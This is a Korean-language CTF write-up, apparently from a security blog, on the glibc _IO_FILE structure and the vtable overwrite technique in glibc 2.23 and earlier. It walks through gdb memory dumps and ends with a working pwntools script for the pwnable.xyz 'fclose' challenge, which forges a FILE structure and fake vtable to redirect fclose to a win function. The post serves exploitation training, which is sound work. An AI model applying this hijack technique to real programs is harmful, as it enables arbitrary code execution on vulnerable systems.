[pwnable] - _IO_FILE structure and vtable overwrite
_IO_FILE
리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다.
이 구조체는 `fopen()`, `fwrite()`, `fclose()` 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다.
`_IO_FILE`의 구조체는 다음과 같습니다.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
위 구조체를 실습으로 확인을 해보겠습니다.
// gcc -o file2 file2.c
#include <stdio.h>
int main()
{
char file_data[256];
int ret;
FILE *fp;
strcpy(file_data, "AAAA");
fp = fopen("testfile","r");
fread(file_data, 1, 256, fp);
printf("%s",file_data);
fclose(fp);
}
아래 메모리는 `fread()` 함수가 호출되기 전에 fp에 할당된 값입니다. `_IO_FILE` 구조체의 크기는 `0xd0` 입니다. 이는 `0x602260 ~ 0x602330` 까지 입니다. `0x602338`은 `vtable`라는 변수이고, 아래에서 설명합니다.
gdb-peda$ x/40gx 0x602260
0x602260: 0x00000000fbad2488 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x00007ffff7dd0680
0x6022d0: 0x0000000000000003 0x0000000000000000
0x6022e0: 0x0000000000000000 0x0000000000602340
0x6022f0: 0xffffffffffffffff 0x0000000000000000
0x602300: 0x0000000000602350 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000000
0x602320: 0x0000000000000000 0x0000000000000000
0x602330: 0x0000000000000000 0x00007ffff7dcc2a0
아래 메모리는 `fread()` 함수를 실행한 뒤 fp에 할당된 값입니다. `0x602260 + 0x8` 값을 보면 heap 영역에 값이 할당이 되어 있는데, 이 값은 testfile 파일의 내용이 들어가 있습니다.
gdb-peda$ x/40gx 0x602260
0x602260: 0x00000000fbad2498 0x0000000000602490
0x602270: 0x0000000000602490 0x0000000000602490
0x602280: 0x0000000000602490 0x0000000000602490
0x602290: 0x0000000000602490 0x0000000000602490
0x6022a0: 0x0000000000603490 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x00007ffff7dd0680
0x6022d0: 0x0000000000000003 0x0000000000000000
0x6022e0: 0x0000000000000000 0x0000000000602340
0x6022f0: 0xffffffffffffffff 0x0000000000000000
0x602300: 0x0000000000602350 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000000
0x602320: 0x00000000ffffffff 0x0000000000000000
0x602330: 0x0000000000000000 0x00007ffff7dcc2a0
`gdp-peda` 를 통해 `p *_IO_list_all` 명령어로 현재 할당된 `_IO_FILE` 구조체를 볼 수 있습니다. 아래 구조체를 보면 크게 `file` 과 `vtable`로 나누어져 있는데, 사실 `_IO_FILE`의 구조체가 해당되는 변수는 `file` 입니다.
`file`과 `vtable` 변수 2개를 합치면 `_IO_FILE_plus` 라는 구조체가 됩니다.
gdb-peda$ p *_IO_list_all
$4 = {
file = {
_flags = 0xfbad2498,
_IO_read_ptr = 0x602490 "",
_IO_read_end = 0x602490 "",
_IO_read_base = 0x602490 "",
_IO_write_base = 0x602490 "",
_IO_write_ptr = 0x602490 "",
_IO_write_end = 0x602490 "",
_IO_buf_base = 0x602490 "",
_IO_buf_end = 0x603490 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x602340,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x602350,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
위 설명을 그림으로 나타내면 다음과 같습니다. `_IO_FILE_plus` 구조체는 `_IO_FILE` 구조체와 `vtable` 변수를 가지고 있는 겁니다.
vtable and _IO_file_jumps
`_IO_FILE_plus` 구조체가 `_IO_FILE` 구조체와 `vtable` 구조를 나타내는 것을 알 수 있습니다.
위에서 `fp` 변수의 메모리 구조를 설명했었습니다. `_IO_FILE` 구조체의 크기는 `0x602260 ~ 0x602330` 까지 `0xd0` 크기를 가지고, `0x602338`은 `vtable` 입니다.
gdb-peda$ x/40gx 0x602260
0x602260: 0x00000000fbad2498 0x0000000000602490
0x602270: 0x0000000000602490 0x0000000000602490
0x602280: 0x0000000000602490 0x0000000000602490
0x602290: 0x0000000000602490 0x0000000000602490
0x6022a0: 0x0000000000603490 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x00007ffff7dd0680
0x6022d0: 0x0000000000000003 0x0000000000000000
0x6022e0: 0x0000000000000000 0x0000000000602340
0x6022f0: 0xffffffffffffffff 0x0000000000000000
0x602300: 0x0000000000602350 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000000
0x602320: 0x00000000ffffffff 0x0000000000000000
0x602330: 0x0000000000000000 0x00007ffff7dcc2a0
gdb-peda$ x/4gx 0x00007ffff7dcc2a0
0x7ffff7dcc2a0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcc2b0 <_IO_file_jumps+16>: 0x00007ffff7a703a0 0x00007ffff7a71370
`vtable` 변수의 값은 위를 참고하자면 `0x00007ffff7dcc2a0`입니다. 이는 `_IO_file_jumps` 구조체의 주소를 가리키고 있습니다. `_IO_file_jumps` 구조체는 파일과 관련된 여러개의 함수 포인터 들이 저장되어 있습니다.
`gdb-peda`로 `p _IO_file_jumps` 명령어를 입력하면 `_IO_file_jumps` 구조체를 볼 수 있습니다.
구조체를 보면 아래와 같이 파일과 관련된 여러개의 함수 포인터들이 저장된 것을 볼 수 있습니다.
gdb-peda$ p _IO_file_jumps
$5 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a703a0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a71370 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a71090 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a6e740 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a6f980 <__GI__IO_file_read>,
__write = 0x7ffff7a6f200 <_IO_new_file_write>,
__seek = 0x7ffff7a6e980 <__GI__IO_file_seek>,
__close = 0x7ffff7a6e8b0 <__GI__IO_file_close>,
__stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73e50 <_IO_default_imbue>
}
위 구조체를 정리하여 그림으로 나타내면 다음과 같습니다.
vtable overwrite
vtable overwrite를 설명하기 전에 이 공격 방법은 `glic 2.24` 부터는 bypass 할 수 없습니다.
`_IO_validate_vtable()` 함수가 vtable overwrite 여부를 확인 하기 때문입니다.
이러한 security check도 우회가 가능하지만, 이번 포스트에서는 `glic 2.23 버전 이하를 기준으로 설명`을 진행 하겠습니다.
이 공격은 `GOT`를 덮을 수 없을 수 없는 답도 없는 상황이고, 만약 공격자가 `_IO_FILE` 구조체에 값을 쓸 수가 있다면 `vtable`을 overwrite 해서 원하는 함수를 실행 할 수 있습니다.
실습 파일은 https://pwnable.xyz 사이트에 있는 `fclose` 문제를 사용하겠습니다.
해당 문제를 보면 `libc 2.23` 버전을 이용한 것을 알 수 있습니다.
위 문제의 바이너리를 c코드로 간단히 나타내면 다음과 같습니다. 공격자는 `0x601260` 에 값을 입력할 수 있고, `fclose()` 함수로 파일 스트림을 닫습니다.
#include <stdio.h>
void win(){
system("cat flag");
}
int main(){
printf("> ");
read(0, 0x601260, 0x404); // 1028
flose(0x601260);
}
위에서 설명했듯이, `vtable` 를 조작하면 `fclose()` 함수가 호출 될때 `vtable` 값을 참조하여 그 곳으로 `jmp` 합니다.
하지만 확인 해야 할게 있습니다.
아래 `python` 코드로 `fake _IO_FILE` 구조체를 만들고 `vtable`에 `"A"*8` 를 입력한 뒤 gdb를 봅니다.
`_IO_FILE` 구조체에서 `_lock` 변수가 있는데, 이는 무조건 쓰기 권한이 있는 주소를 넣어줘야 합니다.
(이 변수는 멀티스레딩 환경에서 파일을 읽고 쓸때, race condition을 방지 하게 위해 사용된다고 합니다.)
from pwn import *
import gdb_attach
p = process("./challenge", env={"LD_PRELOAD" : "./libc-2.23.so"})
e = ELF("./challenge")
gdb_attach.attach(p)
payload = p64(0) * 17
payload += p64(e.symbols["input"] + 0x20) # _lock
payload += p64(0) * 9
payload += "A" * 8 # fake vtable
p.sendlineafter("> ", payload)
p.interactive()
위 코드를 실행하면, 아래 사진처럼 특정한 곳에서 멈추게 되는데, `rax` 값이 `0x4141414141414141` 이어서 에러가 발생하게 됩니다. 중요하게 봐야 하는 부분입니다.
위 사진을 보면 `call QWORD PTR [rax + 0x10]` 에서 멈췄는데, `rax` 값 때문에 발생한 에러 입니다. 이때의 `rax` 값은 python 코드로 `fake _IO_FILE`을 만들때 `fake vtable` 값입니다. 이를 잘 조작하면 `call` 함수로 인해 원하는 곳으로 점프하게 됩니다.
근데 왜 0x10 을 더한 것일까요? 이유는 기존의 `vtable` 값은 `_IO_file_jumps` 구조체를 가르킨다고 위에서 설명했습니다. 현재 실습 코드는 `fclose()` 함수가 호출할때 발생한 에러 입니다. `_IO_file_jumps` 구조체를 다시 보면 아래와 같습니다. `fclose()` 함수로 점프하기 위해서는 `*vtable + 0x10` 에 함수 포인터가 있습니다. 그래서 `rax + 0x10` 을 하는 것입니다.
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT_DUMMY2,
JUMP_INIT(finish, _IO_file_finish), // fclose()
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn), // fwrite()
JUMP_INIT(xsgetn, _IO_file_xsgetn), // fread()
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
따라서 `vtable overwrite` 할때 어떤 함수를 호출하는지, 그에 맞는 값을 더해주는 것입니다.
예를들면, `fwrite()` 함수가 호출 될때는 `*vtable + 0x38`, `fread()` 함수가 호출 될때는 `*vtable + 0x40` 이렇게 된다는 겁니다.
다시 실습으로 돌아와서, 원하는 곳으로 `call` 하기 위한 `rax` 값을 생각해 봅시다.
예를들어, input 변수의 주소를 `0x601280` 이라고 하겠습니다. 공격자는 `*(0x601280 + 0x10)` 에 `call` 할 함수의 주소를 적습니다.
`rax`, 즉 `fake vtable` 값은 `0x601280` 이면 `*(0x601280 + 0x10)` 의 값으로 `call` 하게 됩니다.
필자는 실행시킬 함수의 주소를 `input + 0xe0` 에 적었습니다. `_IO_FILE_plus` 구조체가 끝나는 다음 부분이죠.
아래 코드를 실행하면 `win()` 함수가 실행되어 `flag`를 획득 할 수 있습니다.
from pwn import *
p = process("./challenge", env={"LD_PRELOAD" : "./libc-2.23.so"})
e = ELF("./challenge")
payload = p64(0) * 17
payload += p64(e.symbols["input"] + 0x20) # _lock
payload += p64(0) * 9
payload += p64(e.symbols["input"] - 0x10 + 0xe0) # fake vtable
payload += p64(e.symbols["win"])
p.sendlineafter("> ", payload)
p.interactive()
'🔒Security' 카테고리의 다른 글
한글 2020 문서 암호화 과정 분석 (0) | 2021.07.23 |
---|---|
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss (0) | 2020.10.07 |
python flask debugger pin, find and exploit (0) | 2020.08.29 |
python으로 사이트에 있는 url crawler tool 개발 (0) | 2020.03.30 |
python 으로 http request smuggling tool 만들기 (0) | 2020.03.30 |
댓글
이 글 공유하기
다른 글
-
한글 2020 문서 암호화 과정 분석
한글 2020 문서 암호화 과정 분석
2021.07.23 -
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
2020.10.07 -
python flask debugger pin, find and exploit
python flask debugger pin, find and exploit
2020.08.29 -
python으로 사이트에 있는 url crawler tool 개발
python으로 사이트에 있는 url crawler tool 개발
2020.03.30